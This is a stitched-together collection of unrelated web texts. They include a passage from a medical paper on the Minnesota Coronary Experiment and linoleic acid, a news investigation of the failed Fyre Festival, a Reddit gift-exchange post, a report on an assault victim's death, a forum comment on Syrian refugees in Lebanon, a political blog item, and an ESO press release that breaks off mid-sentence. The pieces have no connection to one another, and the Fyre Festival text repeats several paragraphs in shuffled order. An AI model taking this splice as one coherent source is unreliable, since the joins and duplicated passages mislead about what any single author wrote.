The number, proportion, and probability of death increased as serum cholesterol decreased (fig 6 ⇓ , rows 2, 3, 4). Fig 5 Risk of death from any cause by diet assignment in full MCE cohort and prespecified subgroups (Kaplan Meier life table graphs of cumulative mortality). Graphical depiction of cumulative mortality in full MCE cohort (n=9423) and prespecified subgroups in 1981 Broste thesis 7 showed no indication of benefit and suggested possibility of unfavorable effects of serum cholesterol lowering intervention among participants aged ≥65. Patient level data needed to repeat this analysis were not recovered To our knowledge, the most complete analysis comparing mortality in the intervention versus control group was reported in the Broste thesis. 7 This included Kaplan Meier life table graphs for cumulative mortality for the full MCE cohort, and for each prespecified subgroup (fig 5 ⇓ ). These life table graphs confirm that there was no mortality benefit in the full MCE cohort. Moreover, the life table for the cohort aged ≥65 (fig 5 ⇓ ) suggests the possibility of an increased risk of death for the intervention group compared with controls. In the thesis, Broste noted “the excess mortality in the diet group seems to have been confined primarily to patients 65 or older.” 7 In the absence of the raw data, however, we cannot determine the statistical significance of this finding. A survival analysis that was presented in the 1989 manuscript 15 also showed no mortality benefit in the full MCE population (subgroup analyses were not reported). Thus, collective data from the 1989 publication and 1981 Broste thesis provide no evidence for mortality benefit and suggest the possibility of increased risk of death in older adults. The control diet, which increased dietary linoleic acid by 38% but did not alter saturated fat, produced a modest but significant reduction in serum cholesterol compared with baseline (−5 mg/dL (SD 30 mg/dL); −1.0% (SD 14.5%); P<0.001) (fig 3 ⇑ and table 2 ⇑ ). Higher adherence to the control diet was also associated with greater reduction in serum cholesterol (P=0.004). Among the intervention group, higher adherence (fewer missed meals) was associated with a more pronounced reduction in serum cholesterol (P<0.001). Participants who missed ≤2% of their meals (n=390) achieved reductions in concentration of −18.0%, which is similar to that predicted by the Keys equation (table 2 ⇑ and table E in appendix). MCE investigators hypothesized that replacing saturated fat with vegetable oil rich in linoleic acid would lower serum cholesterol in a manner consistent with the Keys equation. 27 As predicted, participants in the intervention group significantly lowered serum cholesterol compared with the control group (P<0.001) and compared with baseline (mean change −31.2 mg/dL, (SD 30.6 mg/dL); −13.8% (SD 13.0%); P<0.001) (table 2 ⇑ ). Participants in the intervention group also reduced serum cholesterol in each of the prespecified subgroups of sex and age (all P<0.01). Characteristics of the full MCE population are reported in the 1981 Broste thesis (n=9423; http://www.psych.uic.edu/download/Broste_thesis_1981.pdf ) Table 3 ⇓ shows characteristics of the serum cholesterol cohort (n=2355) who received the diets for a year or more. The intervention and control groups were well balanced at baseline, with no detectable differences in any of the recovered variables. The age ranged from 20 to 97, with a mean age of 52. Slightly more than half were women, and 25% were aged 65 or older. Average BMI was 24.5 and average serum cholesterol concentration was 208 mg/dL (to convert from mg/dL to mmol/L, divide by 38.67 (for example, 208 mg/dL /38.67 = 5.39 mmol/L)). Mean follow-up for participants in this cohort was 2.9 years (median 3.1 years). Discussion The traditional diet-heart hypothesis predicts that replacing saturated fat with vegetable oil rich in linoleic acid will reduce coronary heart disease events and deaths by lowering serum cholesterol. Many studies have yielded results consistent with pieces of this hypothesis. The clinical benefits of these serum cholesterol lowering diets, however, have never been causally demonstrated in a randomized controlled trial and thus remain uncertain. We have recovered previously unpublished data from two landmark trials that were designed to provide causal evidence to support the diet-heart hypothesis. In a prior publication, we reported that the Sydney Diet Heart Study intervention group had an increased risk of death from coronary heart disease and all causes, despite a significant reduction in serum cholesterol.14 The present analysis of MCE data examines missing links along the proposed causal chain of events linking dietary linoleic acid to serum cholesterol and to clinical outcomes. Though the MCE intervention effectively lowered serum cholesterol in all prespecified subgroups, there was no clinical benefit in any group. Paradoxically, MCE participants who had greater reduction in serum cholesterol had a higher rather than a lower risk of death. In addition, the MCE intervention group did not have less atherosclerosis or fewer infarcts at autopsy. Meta-analyses of randomized controlled trials that specifically tested replacement of saturated fat with vegetable oil rich in linoleic acid showed no indication of benefit. Thus, collective findings from randomized controlled trials do not provide support for the central diet-heart tenet that the serum cholesterol lowering effects of replacing saturated fat with linoleic acid translate to lower risk of coronary heart disease or death. Limited and inconsistent evidence from non-randomized studies While the randomized controlled trial is the only study design that can show a cause and effect relation, observational cohort studies can be used to investigate longer term exposures than are typically feasible in randomized controlled trials.31 Limitations of observational studies (for example, healthy consumer bias), however, can sometimes distort,31 32 33 or even reverse,34 35 36 true associations. Self reported intake of foods that are often high in linoleic acid was associated with a lower risk of coronary heart disease in two large prospective observational cohorts of US health professionals37 38 and in one pooled analysis of several cohorts.39 Other large prospective observational studies40 and another pooled analysis,41 however, found no association. Similar inconsistent associations between circulating linoleic acid and risk of coronary heart disease have been reported,42 43 with pooled analysis showing no association.41 Ecological associations between linoleic acid intake and coronary heart disease have also been cited to support the diet-heart hypothesis.44 These associations, however, are subject to important confounders and are wholly dependent on the timeframe selected (fig B, appendix). Thus, the conclusions that can be drawn from non-randomized studies on this topic are limited. Together with the lack of support from randomized controlled trials (after recovery of data from the Sydney Diet Heart Study and MCE), the totality of evidence no longer provides support for the traditional diet-heart hypothesis. Why didn’t lowering serum cholesterol translate to clinical improvement in diet-heart randomized controlled trials? A plausible explanation for the seemingly paradoxical results of the Sydney Diet Heart Study and MCE is that vegetable oil rich in linoleic acid was the agent used to lower serum cholesterol. As the major vehicle for delivery of cholesterol to vascular tissues, low density lipoprotein is often considered a causal mediator of coronary heart disease.45 As replacing saturated fat with linoleic acid specifically decreases low density lipoprotein (without affecting high density lipoprotein8) it is tempting to assume that such dietary changes will automatically translate to reduction in risk of coronary heart disease. Critically, however, consumption of vegetable oils rich in linoleic acid produces a wide range of biochemical consequences, including qualitative changes in lipoprotein particle oxidation that could plausibly increase risk of coronary heart disease.14 46 Hence the clinical effects of replacing saturated fat with vegetable oils could reflect the net impact of decreasing low density lipoprotein while increasing its susceptibility to oxidation. Moreover, low density lipoprotein concentrations are influenced by many factors, such as delivery of low density lipoprotein to blood vessels and other tissues, as well as hepatic clearance of native and oxidized low density lipoprotein particles.47 48 49 50 Therefore, a decrease in low density lipoprotein can represent widely different biochemical phenomena. This broader understanding could help to explain why some agents that decrease low density lipoprotein have been shown to reduce the risk of coronary heart disease,51 52 while others have no clear effect,53 and still others might actually increase risk.54 55 The collective data from diet-heart randomized controlled trials suggests that lowering serum cholesterol by replacing saturated fat with vegetable oils rich in linoleic acid has no clear benefit. Further, one way to interpret the unfavorable results of the two recovered trials is that high intakes of linoleic acid could have adverse effects in people who are prone to linoleic acid oxidation (such as smokers, heavy drinkers, and older adults). High linoleic acid intakes from vegetable oils are a recent and atypical nutritional phenomenon To interpret research on linoleic acid one needs to consider both the food sources and the amounts consumed. Individuals eating only minimally processed whole foods—as everyone did until about 100 years ago—would have consumed about 2-3% of calories from linoleic acid56 57 (fig 8⇓). By contrast, among industrialized populations today, most linoleic acid intake is derived from highly concentrated vegetable oils, in which the fatty acids are separated from the fiber, protein, and micronutrients that are naturally present in vegetables and seeds61 (table H, appendix). Because these concentrated sources of linoleic acid are used widely as cooking and frying oils and added to many processed and packaged food items, the linoleic acid content of modern industrialized diets is much higher than natural diets (fig 8⇓). For example, mean linoleic acid intake in the US of about 17 g a day (7% of calories)58 is much higher than the approximately 6 g of daily linoleic acid provided by natural food diets without added vegetable oils. If these concentrated sources are considered to be dietary supplements, on average Americans ingest the equivalent of 11 capsules of 1 g linoleic acid a day above and beyond intake from natural foods. Fig 8 Linoleic acid content of MCE diets compared with current and historical intakes in US in 2011-12 (NHANES, adults aged ≥20).58 Nutritional adequacy defined as lowest amount of dietary linoleic acid required to prevent deficiency symptoms.59 60 Pre-agricultural diets modeled from fatty acid compositions of hunter-gatherer diets.56 Pre-industrial US diets calculated from US Department of Agriculture economic disappearance data61 Impacts of high linoleic acid intake extend beyond serum cholesterol lowering Increasing dietary linoleic acid has been shown to increase oxidized linoleic acid derivatives in a dose-dependent manner in many tissues.40 62 63 64 65 66 These oxidized derivatives, along with other non-cholesterol lipid mediators, have been implicated in the pathogenesis of many diseases including coronary heart disease,14 chronic pain,40 67 68 69 and steatohepatitis70 71 72(fig 9⇓). While the biochemical and clinical consequences of high intakes are incompletely understood, there is a possibility for unintended harm. These potential risks highlight the importance of ensuring that the full evidence base from randomized controlled trials is available for consideration by scientists, policymakers, and the public. Fig 9 Potential unanticipated consequences of high linoleic acid intake. A=increased consumption of vegetable oils rich in linoleic acid alters non-cholesterol lipid mediators, including hydroperoxy- and hydroxy-octadecadienoic acids, eicosanoids, and endocannabinoids; B=hydroperoxy- and hydroxy-octadecadienoic acids have been linked to coronary heart disease pathogenesis via mechanisms independent of traditional diet-heart hypothesis; non-cholesterol lipid mediators can also contribute to development of other common conditions including chronic pain and steatohepatitis Historical context for publication of Sydney Diet Heart Study and MCE findings With today’s recognition of publication bias and requirements for trial registration and timely publication on completion of registered trials, the omission of key results of these two trials from the literature might seem difficult to understand. In the case of the MCE, the crude study results were clearly at odds with prevailing beliefs. One can speculate that the investigators and sponsors would have wanted to distinguish between a failed theory and a failed trial before publication. While robustly designed and carefully executed, the MCE had several unique features that complicated analysis and could have biased results. The MCE investigators might have been concerned that heavy censoring or the complicated health and social histories of study participants could have impacted results. In addition, the methods of adjusting survival time analyses for covariates were just emerging, and statistical software packages were not widely available, even at the time the Broste thesis was written. Failure to measure cholesterol concentrations for participants who left the hospital before one year could have introduced bias and would have reduced power for some analyses, and the heavy censoring might have further contributed to the possibility of type II errors. There would have been little or no scientific or clinical trial literature at the time to support findings that were so contrary to prevailing beliefs and public policy. And, finally, it is possible that medical journal reviewers would not have accepted study results for the reasons cited above. Whatever the explanation for key MCE data not being published, there is growing recognition that incomplete publication of negative or inconclusive results can contribute to skewed research priorities and public health initiatives.73 74 75 Recovery of unpublished data can alter the balance of evidence and, in some instances, can lead to reversal of established policy or clinical practice positions.73Figure 10⇓ provides a historical context for the completion and publication of the MCE and Sydney Diet Heart Study results in relation to key US policy events over the past half century. It is interesting to speculate whether complete publication of randomized controlled trial results might have altered key policy decisions promoting replacement of saturated fat with linoleic acid rich oils (such as the 1977 McGovern report76 and National Cholesterol Education Program (1984-85)45) or contributed to a shift in research priorities. Fig 10 Diet-heart timeline: key research and policy events. SDHS=Sydney Diet heart Study; MCE=Minnesota Coronary Experiment; AHA=American Heart Association; LA=linoleic acid Implications for recovery of additional MCE data files MCE data files that remain missing could provide further insights into the diet-heart hypothesis (table D in appendix). For example, there is a suggestion that high linoleic acid intake could adversely affect those who are known to have increased linoleic acid oxidation, including smokers, heavy drinkers, those with established coronary heart disease, and older adults.14 With additional data recovery one could determine whether the high linoleic acid diet had deleterious effects in these subgroups. The partial recovery of 149 heart and aorta autopsy files provides an intriguing clue that the intervention might have had unfavorable effects. As 146 heart and aorta files and the data on the full cohort of 295 autopsied brains remain missing, however, one cannot draw conclusions from these provisional findings. It is highly unlikely that a diet-heart trial of the size and scope of the MCE will ever be conducted again so it is essential that these missing autopsy files are recovered and analyzed as specified in the 1967 MCE grant application and FORTRAN coding sheets.6 19 20 21 Strengths and limitations The MCE had several exceptional features and strengths. For example, the MCE is by far the largest randomized controlled trial to test the central diet-heart tenet that lowering serum cholesterol by replacing saturated fat with linoleic acid rich vegetable oil will translate to a lower risk of coronary heart disease and death. The MCE is also the only randomized controlled trial to test the clinical effects of increasing linoleic acid in large cohorts of women and individuals aged ≥65 and the only such trial to complete a postmortem assessment of atherosclerosis grade and infarct status. As MCE participants were randomly assigned and all meals were provided, we know that changes in linoleic acid and saturated fat were from the diets provided. Thus, MCE effectively dealt with the problem of healthy consumer bias that confounds many observational studies.31 Other strengths were that the intervention effectively lowered serum cholesterol and that these changes were consistent with predictions based on the Keys equation and the chemical analysis of study foods. The MCE also had several important limitations in study design and generalizability. Participants were followed only while in hospital, and only about a quarter of randomized participants remained in the study for a year or longer. Although the original investigators emphasized this subsample and believed the longer follow-up to be more informative, it is a limitation that the association between serum cholesterol and death can now be examined only among those who survived the first year and remained in hospital. Moreover, even though we used data from a randomized controlled trial, the analysis of the association between serum cholesterol and death is observational in nature. Therefore, it is not possible to examine causality or to disentangle changes in serum cholesterol because of diet from changes because of other factors. In addition, low density lipoprotein (and high density lipoprotein) subfractions, which are more closely linked to risk of coronary heart disease than total serum cholesterol, were not assessed. Numerous randomized controlled trials, however, have shown that replacing saturated fat with vegetable oil rich in linoleic acid leads to predictable lowering of low density lipoprotein without altering high density lipoprotein.8 Thus, the serum cholesterol lowering effects of the MCE diets were likely specific to low density lipoprotein. Because the trans fatty acid contents of MCE study diets are not available, one could speculate that the lack of benefit in the intervention group was because of increased consumption of trans fat. Indeed, in addition to liquid corn oil the intervention diet also contained a serum cholesterol lowering soft corn oil polyunsaturated margarine, which likely contained some trans fat. The MCE principal investigator (Ivan Frantz) and co-principal investigator (Ancel Keys), however, were well aware of the cholesterol raising effects of trans fat prior to initiating the MCE.77 Moreover, Frantz and Keys previously devised the diets used in the institutional arm of the National Diet Heart Feasibility Study (NDHS), which achieved the greatest reductions in serum cholesterol of all NDHS study sites.2 Hence, it is highly likely that this experienced MCE team selected products containing as little trans fat as possible to maximize the achieved degree of cholesterol lowering. Perhaps more importantly, it is clear from the MCE grant proposal that common margarines and shortenings (major sources of trans fat) were important components of the baseline hospital diets and the control diet (but not the intervention diet). Thus, confounding by dietary trans fat is an exceedingly unlikely explanation for the lack of benefit of the intervention diet. Another limitation in the interpretation is incomplete data recovery. For example, in the Sydney Diet Heart Study the increased mortality in the high linoleic acid group was most evident in smokers and heavy drinkers.14 Without additional recovery of MCE data we are not able to determine if the effects of the high linoleic acid diet varied by smoking status, pre-existing coronary heart disease, psychiatric history, or drug use. Also, as we were not able to recover data for the full MCE cohort, we present the Broste thesis as recovered, without a more thorough analysis of differences in mortality between groups. Limitations in generalizability The MCE intervention diet contained almost twice as a much linoleic acid as the average American diet. Only a small percentage of the US population currently consumes linoleic acid in amounts that overlap those in the MCE intervention diet (fig 8⇑). As this high linoleic acid diet produced a maximum lowering of serum cholesterol, it was ideal for testing the diet-heart tenet that serum cholesterol is the critical mediator linking diet to coronary heart disease. However, one cannot necessarily extrapolate findings to lower linoleic acid intakes. The decision to conduct the MCE in mental hospitals and nursing homes reduced the number of missed meals and maximized the achieved degree of serum cholesterol lowering. However, the results are not necessarily generalizable to populations without mental illnesses or living outside nursing homes. As the MCE, Sydney Diet Heart Study, and other diet-heart trials used concentrated vegetable oils, the results should not be generalized to nuts or other unprocessed foods containing linoleic acid. Meta-analysis limitations Limitations of our meta-analysis include the small number of randomized controlled trials that have tested the effects of replacing saturated fat with linoleic acid rich oil, the differences in design and population characteristics of each trial, and the many limitations of meta-analyses in general (appendix part 2). The Big Picture The molecules that we eat every day as foods act as substrates, which enter into and regulate numerous highly leveraged biochemical pathways.25 38 40 69 78 79 Thus, although the story of the traditional diet-heart hypothesis did not unfold as predicted, the foods that we eat likely play critical roles in the pathogenesis of many diseases. Given the complexity of biological systems and limitations of our research methods, however, current understanding of the biochemical and clinical effects of foods is rudimentary. The history of the traditional diet-heart hypothesis suggests that nutrition research could be improved by not overemphasizing intermediate biomarkers; cautious interpretation of non-randomized studies; and ensuring timely and complete publication of all randomized controlled trials. Given the limitations of current evidence, the best approach might be one of humility, highlighting limitations of current knowledge and setting a high bar for advising intakes beyond what can be provided by natural diets. -Interviews with dozens of people, including former Fyre employees, contractors, and potential investors, reveal the organizers behind Fyre Fest knew months in advance that they were not going to be able to provide even a fraction of what they were selling. Despite the glossy marketing, McFarland and his company, Fyre Media, had little to offer investors beyond a now-infamous photoshoot featuring 10 of IMG’s most popular models, and a press release touting a partnership with YachtLife, a luxury yacht charter app. It turns out customs was something Billy McFarland, Fyre Festival’s 25-year-old founder, should have worried about. On Saturday, Bahamian officials shut down the ill-fated site. “Customs has the area on lockdown because Billy has not paid Customs duty taxes on the items that he imported,” the Bahamian Ministry of Tourism said in a statement obtained by ABC. By then the festival had at least one toilet trailer and a cluster of porta-potties, but the ticket-holders were long gone from the site, which some compared to a refugee camp in part because the “luxury tents” were similar to FEMA tents. “There was no infrastructure to even support the equipment. They didn’t even have a loading dock, they had no understanding of what vehicles were on the island to even move the stuff off the ship once it got there,” said the supplier. “They said stuff like, ‘Don’t worry about customs; it’s only for a weekend, you don’t have to worry about customs.” They were running low on cash and the festival lacked fundamental necessities — toilets and showers, for example — and they were running out of time. One supplier told VICE News that when they were contacted by the festival in April, they told the organizers that all the money in the world wouldn’t get trailers for toilets and showers past customs in time, because that takes weeks to process. The festival was scheduled over two weekends in late April and early May. One month before thousands of well-heeled millennials were set to descend on a remote island in the Bahamas for the Fyre Festival to frolic on yachts, rub elbows with models, and hear acts like Blink 182 and Major Lazer, the organizers had a big problem. Read more One month before thousands of well-heeled millennials were set to descend on a remote island in the Bahamas for the Fyre Festival to frolic on yachts, rub elbows with models, and hear acts like Blink 182 and Major Lazer, the organizers had a big problem. They were running low on cash and the festival lacked fundamental necessities — toilets and showers, for example — and they were running out of time. One supplier told VICE News that when they were contacted by the festival in April, they told the organizers that all the money in the world wouldn’t get trailers for toilets and showers past customs in time, because that takes weeks to process. The festival was scheduled over two weekends in late April and early May. “There was no infrastructure to even support the equipment. They didn’t even have a loading dock, they had no understanding of what vehicles were on the island to even move the stuff off the ship once it got there,” said the supplier. “They said stuff like, ‘Don’t worry about customs; it’s only for a weekend, you don’t have to worry about customs.” It turns out customs was something Billy McFarland, Fyre Festival’s 25-year-old founder, should have worried about. On Saturday, Bahamian officials shut down the ill-fated site. “Customs has the area on lockdown because Billy has not paid Customs duty taxes on the items that he imported,” the Bahamian Ministry of Tourism said in a statement obtained by ABC. By then the festival had at least one toilet trailer and a cluster of porta-potties, but the ticket-holders were long gone from the site, which some compared to a refugee camp in part because the “luxury tents” were similar to FEMA tents. Interviews with dozens of people, including former Fyre employees, contractors, and potential investors, reveal the organizers behind Fyre Fest knew months in advance that they were not going to be able to provide even a fraction of what they were selling. Despite the glossy marketing, McFarland and his company, Fyre Media, had little to offer investors beyond a now-infamous photoshoot featuring 10 of IMG’s most popular models, and a press release touting a partnership with YachtLife, a luxury yacht charter app. Serious logistical planning for the festival didn’t even begin until late February or early March — less than two months before the thousands of people McFarland had sold a luxury vacation on a private island were scheduled to arrive. The toilet and shower supplier, who did not get the Fyre Festival contract, told the organizers it would cost north of $1 million just to order the equipment — a rush-order mark-up he unironically referred to as “disaster pricing.” That number did not include the cost of shipping the equipment to the island or the high cost of the barge needed to dispose of the wastewater created by thousands of people showering and using the toilet for four days. The collapse of the festival became a national punchline. Those involved believe McFarland and his co-organizer Ja Rule started out wanting to deliver on their promises — an ultra-lux experience on a private island formerly owned by Pablo Escobar, with famous models dancing on yachts, bottle service at beachside concerts, and hidden treasures accessible only by jet-ski. But all agree they knew or should have known well in advance it wasn’t going to work. McFarland has since tried to blame bad weather for the debacle, and Ja Rule, in a statement, also said the festival was “NOT MY FAULT” and “NOT A SCAM.” FREE GETAWAY ALERT If Fyre Festival seemed last-minute, that’s because it was. McFarland thought of the idea in October 2016 and announced the festival on Instagram a month later, spending millions on models, private jets, and yachts to promote what would be his first-ever large-scale event, sources familiar with the planning said. He spent $250,000 on a single Instagram post from Kim Kardashian’s half-sister Kendall Jenner and laid out hundreds of thousands more on lesser-name “influencers,” none of whom were paid less than $20,000, one person familiar with the payments said. Sky High✈️ #mannequinchallenge ( that’s me on the phone) #fyrefestival A post shared by SHANINA SHAIK (@shaninamshaik) on Nov 20, 2016 at 6:30am PST Only one model — “Gone Girl” actress Emily Ratajkowski — labeled her promotion as an ad, as required by the Federal Trade Commission. The other models’ omissions are now the subject of a class-action lawsuit. “These ‘sponsored posts’ were in direct violation of Federal Trade Commission guidelines on disclosing material connections between advertisers and endorsers,” the suit alleges. “Social Media ‘influencers’ made no attempt to disclose to consumers that they were being compensated for promoting the Fyre Festival. Instead these influencers gave the impression that the guest list was full of the Social Elite and other celebrities.” Fyre Festival employees said planning for the event took on the feel of an extended Spring Break frat party. McFarland and members of his team would fly down “every other weekend for lavish vacations” on nearby islands, but only male employees and models were allowed to go. “Billy would take all the boys down there, it would be boys only,” the employee said. “They talk about f—ing bitches and hoes in conference meetings.” The employee said McFarland would often urinate in the office with the door open for employees to see. “It’s a boys club,” the employee said. “They laugh about it.” Another former contractor called the environment “low-key sexist and racist.” Someone who briefly worked on the festival and asked to remain anonymous agreed: “They were just stoked on getting vacation homes there. I didn’t feel like they were taking it seriously at all.” work is tough A post shared by Hailey Baldwin (@haileybaldwin) on Dec 12, 2016 at 9:31am PST According to Chloe Gordon, a production coordinator, the team laughed off warnings that they wouldn’t be able to finish in time. “Let’s just do it and be legends, man,” she said a man on the marketing team said in response to advice that they should postpone the festival to 2018. By March, things were starting to get desperate. The festival was running low on cash, despite significant investments from a New York City socialite who also worked with McFarland on his failing millennial credit card company, Magnises. McFarland and his team started soliciting a second round of investments, said several people familiar with the offering. In at least one meeting with an investor, McFarland intimated that Fyre had spent several million dollars on celebrity endorsements and marketing and now needed cash to pay vendors, staffers, and artists. Despite a pitch deck that promised 10,000 ticket-holders each weekend, sales were low and largely discounted. Most buyers had paid somewhere between $500 and $2,000 for their tickets, despite outlandish claims that people were purchasing ticket packages for hundreds of thousands of dollars. The target audience wasn’t elite or affluent people — it was people who wanted the lifestyle but couldn’t afford it, until Fyre Festival came along. A former Fyre Media employee who asked for anonymity recalled McFarland and Fyre Fest director Grant Margolin’s pitch to the prominent New York socialite. “She was sold a story. They were taking her to the same island as they were taking the models. She had no idea,” the employee said. Their promises to registrants also kept changing over time. Pablo Escobar never owned an island in the Bahamas, and even if he had, the festival was located on an abandoned development site on a public beach near a Sandals resort. In an early pitch deck obtained by Vanity Fair, McFarland’s team claimed the festival had been given $8.4 million in land on Black Point in Exuma “in exchange for hosting the festival and promoting the island.” Though sources say McFarland and 24-year-old Margolin did look into buying a private island in December after the first wave of ticket purchases came in, they abandoned the plan because the location had no electricity, no water, and no space for more than a thousand or so revelers. They initially said they expected to sell 40,000 tickets by March 31. That number was later lowered to 20,000, but the “private island” bit was left in all the marketing materials. After tickets had been sold, the company abruptly changed the lodging options from a “rustic lodge” tent picture in renderings to the FEMA-style tents that were standing there when attendees showed up. The villas advertised on the website never existed, one Fyre employee said — they listed them as a joke, not expecting anyone to buy them. Organizers ignored emails and left ticket-holders unsure of where they were flying in from or when until days before the festival. An agreement with Philadelphia restaurateur Stephen Starr to provide gourmet catering was canceled on April 2 after the organizers failed to make payments, an employee familiar with the transaction said. Starr confirmed in a statement that since April, it had “not been involved with, or provided any services in connection with, this event.” Bloomberg reports the organizers balked at the six-figure estimate given by Starr. Many of the vendors who were involved said they still haven’t been paid. During that time, several former employees and one manager for artists slotted to play the festival confirmed, most people were having trouble getting paid, and those who were getting paid were getting money directly from McFarland. Payroll abruptly stopped in the Fyre Media office in October, according to one employee at the company. “We started getting paid as wires from Billy’s account and one time [in January] we got paid in a wad of cash. They didn’t have any money. They kept paying the influencers and the models,” the employee said. Alarmed by what was happening, multiple employees quit after it became clear upper management wasn’t interested in their concerns, the employee said. “At South by Southwest this year, every party had someone who had worked on this, and everyone was like, ‘It’s a hot mess,’” the person who briefly worked on the festival said. The organizers also cycled through several production teams, after firing some for saying the job was impossible and driving others to quit with slow payments and unfeasible tasks, multiple sources said. One team arrived at their Miami hotel only to find the credit card information provided by Fyre wasn’t working. The same happened when they arrived in the Bahamas. “They were trying to get us to use our own cards for the hotel rooms,” a member of the production team said. “And the owners were just walking around with giant wads of hundreds to pay people off.” A former Fyre employee said McFarland sold Ja Rule a “pipe dream,” though there’s evidence to suggest the seasoned recording artist should have known better. Video hyping the festival he posted on Twitter and later deleted includes footage of the main stage, which had walk-up stairs and lacked barricades or an exit for EMS. “People would have died,” the production employee said. The festival’s first website was also pulled — after Fyre failed to pay the company that created it, a former Fyre employee said. On Thursday, festival organizers, including McFarland, started warning celebrity VIP guests not to come, according to a $100 million lawsuit filed Sunday by Mark Geragos. McFarland and Frye Media declined to comment for this story, but they’re far from done selling. On Monday festival organizers began circulating a form that offered ticket holders the option to get free tickets to the 2018 Fyre Festival in lieu of the refund they were promised. “Would you prefer to exchange your 2017 ticket(s) for additional 2018 VIP passes, as opposed to receiving a refund? (Ex: If you purchased 3 passes for 2017, you would receive 6 total 2018 VIP passes),” the form asks. “We have received support and commitments from several musicians to perform at next year’s event. We would be so thankful to have your support as well.” -So much thought and care was put into this exchange! I was contacted by the Gifter several times and assured that everything was getting ready. I've received amazing handmade reddit coaster! So cool, so thoughtful and caring :) Lots of evidence of good stalking skills: r/aww and r/cats! Game of Thrones book - my latest obsession and a lovely set of stationery items - notebooks and pens - all so cute and very "me". Oh, I must not forget the sweets which were gone in seconds! I told HistoryMaker118 that I will open the package after I get back from holidays - this was yesterday and the photostory below shows my wonderful adventure. My kitten Lluan was very curious and personally examined each gift! Thank you very very much! -Photo courtesy of 19 Action News. Pat Mahaney after the beating last August. A North College Hill, OH man who was the victim of a brutal beating by a group of "bored" teenagers last August has died. The Hamilton County Prosecutors office confirmed that 46-year-old Pat Mahaney passed away on Friday morning, less than a year after receiving a vicious beating that caused him to suffer internal bleeding and put him in the hospital for four days. The cause of death is still unknown and results from Mahaney's autopsy will not be released for several weeks. The man was assaulted on Aug. 11, 2012 in North College Hill by a group of teenagers, ages 13 and 14, who told police they were bored and looking for something to do. North College Hill Police Chief Gary Foust told ABC that the juveniles jumped Mahaney from behind and hit him in the head with a six-pack of beer he had just bought. "As they were approaching the individual they actually discussed this event, before actually doing the event," Foust said. Six teens were arrested in relation to the attack and charged with felonious assault and aggravated riot. Three of the six teenagers pleaded guilty to the felonious assault charges after prosecutors agreed to drop the aggravated riot charges, ABC reported. Should the autopsy reveal that Mahaney's death was caused or contributed to by the beating he received last year, the youngsters could face additional charges. -Jo said: Needless to say how reckless it was to allow for the Syrians to protest and hoping for no incodents to happen. Click to expand... Especially if the Lebanese are having a counter protest at the same time.We don't know how the Syrians in custody died. We don't know if they were really terrorists, or unfortunate souls who got swept away, by mistake, along with real terrorists. It is understandable that their families feel the way they do. However, it's a miracle that the LAF, ISF, and HA were able to prevent the Syrian war from crossing into our borders, without more violent clashes with the refugees. Especially that members of these forces, as well as Lebanese civilians, were kidnapped and killed by terrorists hiding among those refugees.And, all this, with the government in the state it was, and with a ratio of one refugee for every two Lebanese nationals, in a country that can't even provide water and electricity reliably. Any other country in Lebanon's situation would have descended into chaos by now.Inshallah the war in Syria is over soon and they all go back home to rebuild their homes and communities, before the situation in Lebanon deteriorates further. Lebanon has enough issues to deal with on its own. -Michigan mom and leukemia patient Julie Boonstra already had her run-in with the tolerant Left. Boonstra, who filmed an ad about her struggles with Obamacare for Americans for Prosperity, was targeted by Michigan Rep. Gary Peters, who threatened to sue her into silence. That wasn’t the end of the attacks, however. Slade O’Brien, southern regional director for AFP, shared this letter sent anonymously to Boostra. This letter to cancer victim Julie Boonstra tells you everything you need to know about the "tolerant" left ! #tcot pic.twitter.com/UbMbA0TlgF — Slade O'Brien (@SladeOBrien) April 1, 2014 @SladeOBrien @AFPhq @AFPMichigan @seanhannity trying to keep it classy w/ the classless is a waste of time. Time for scorched earth policy — Ringo (@ringo031980) April 1, 2014 @SladeOBrien @AFPhq @AFPMichigan @seanhannity That message was written by one sick puppy whose idea of being a good person is twisted. — Anne Drover Stafford (@csamsonrdelilah) April 1, 2014 Is it a fake? -eso1235 — Photo Release A Cluster with a Secret A new image from ESO’s La Silla Observatory in Chile shows the spectacular globular star cluster Messier 4. This ball of tens of thousands of ancient stars is one of the closest and most studied of the globular clusters and recent work has revealed that one of its stars has strange and unexpected properties, apparently possessing the secret of eternal youth. The Milky Way galaxy is orbited by more than 150 globular star clusters that date back to the distant past of the Universe (eso1141). One of the closest to the Earth is the cluster Messier 4 (also known as NGC 6121) in the constellation of Scorpius (The Scorpion). This bright object can be easily seen in binoculars, close to the bright red star Antares, and a small amateur telescope can show some of its constituent stars. This new image of the cluster from the Wide Field Imager (WFI) on the MPG/ESO 2.2-metre telescope at ESO’s La Silla Observatory reveals many more of the cluster’s tens of thousands of stars and shows the cluster against the rich background of the Milky Way. Astronomers have also studied many of the stars in the cluster individually using instruments on ESO’s Very Large Telescope. By splitting the light from the stars up into its component colours they can work out their chemical composition and ages. New results for the stars in Messier 4 have been surprising. The stars in globular clusters are old and hence not expected to be rich in the heavier chemical elements [1]. This is what is found, but one of the stars in a recent survey was also found to have much more of the rare light element lithium than expected. The source of this lithium is mysterious. Normally this element is gradually destroyed over the billions of years of a star's life, but this one star amongst thousands seems to have the secret of eternal youth. It has either somehow managed to retain its original lithium, or it has found a way to enrich itself with freshly made lithium. This WFI image gives a wide view of the cluster and its rich surroundings. A complementary and more detailed view of just the central region from the orbiting NASA/ESA Hubble Space Telescope was also released this week as part of the Hubble Picture of the Week series. Notes [1] Most of the chemical elements heavier than helium are created in stars and dispersed into the interstellar medium at the end of their lives. This enriched material then forms the building blocks of future stellar generations. As a result very old stars, such as those in globular star clusters, which formed before significant enrichment had occurred, are found to have lower abundances of the heavier elements when compared to stars, such as the Sun, that formed later. More information The year 2012 marks the 50th anniversary of the founding of the European Southern Observatory (ESO). ESO is the foremost intergovernmental astronomy organisation in Europe and the world’s most productive ground-based astronomical observatory by far. It is supported by 15 countries: Austria, Belgium, Brazil, the Czech Republic, Denmark, France, Finland, Germany, Italy, the Netherlands, Portugal, Spain, Sweden, Switzerland and the United Kingdom. ESO carries out an ambitious programme focused on the design, construction and operation of powerful ground-based observing facilities enabling astronomers to make important scientific discoveries. ESO also plays a leading role in promoting and organising cooperation in astronomical research. ESO operates three unique world-class observing sites in Chile: La Silla, Paranal and Chajnantor. At Paranal, ESO operates the Very Large Telescope, the world’s most advanced visible-light astronomical observatory and two survey telescopes. VISTA works in the infrared and is the world’s largest survey telescope and the VLT Survey Telescope is the largest telescope designed to exclusively survey the skies in visible light. ESO is the European partner of a revolutionary astronomical telescope ALMA, the largest astronomical project in existence. ESO is currently planning a 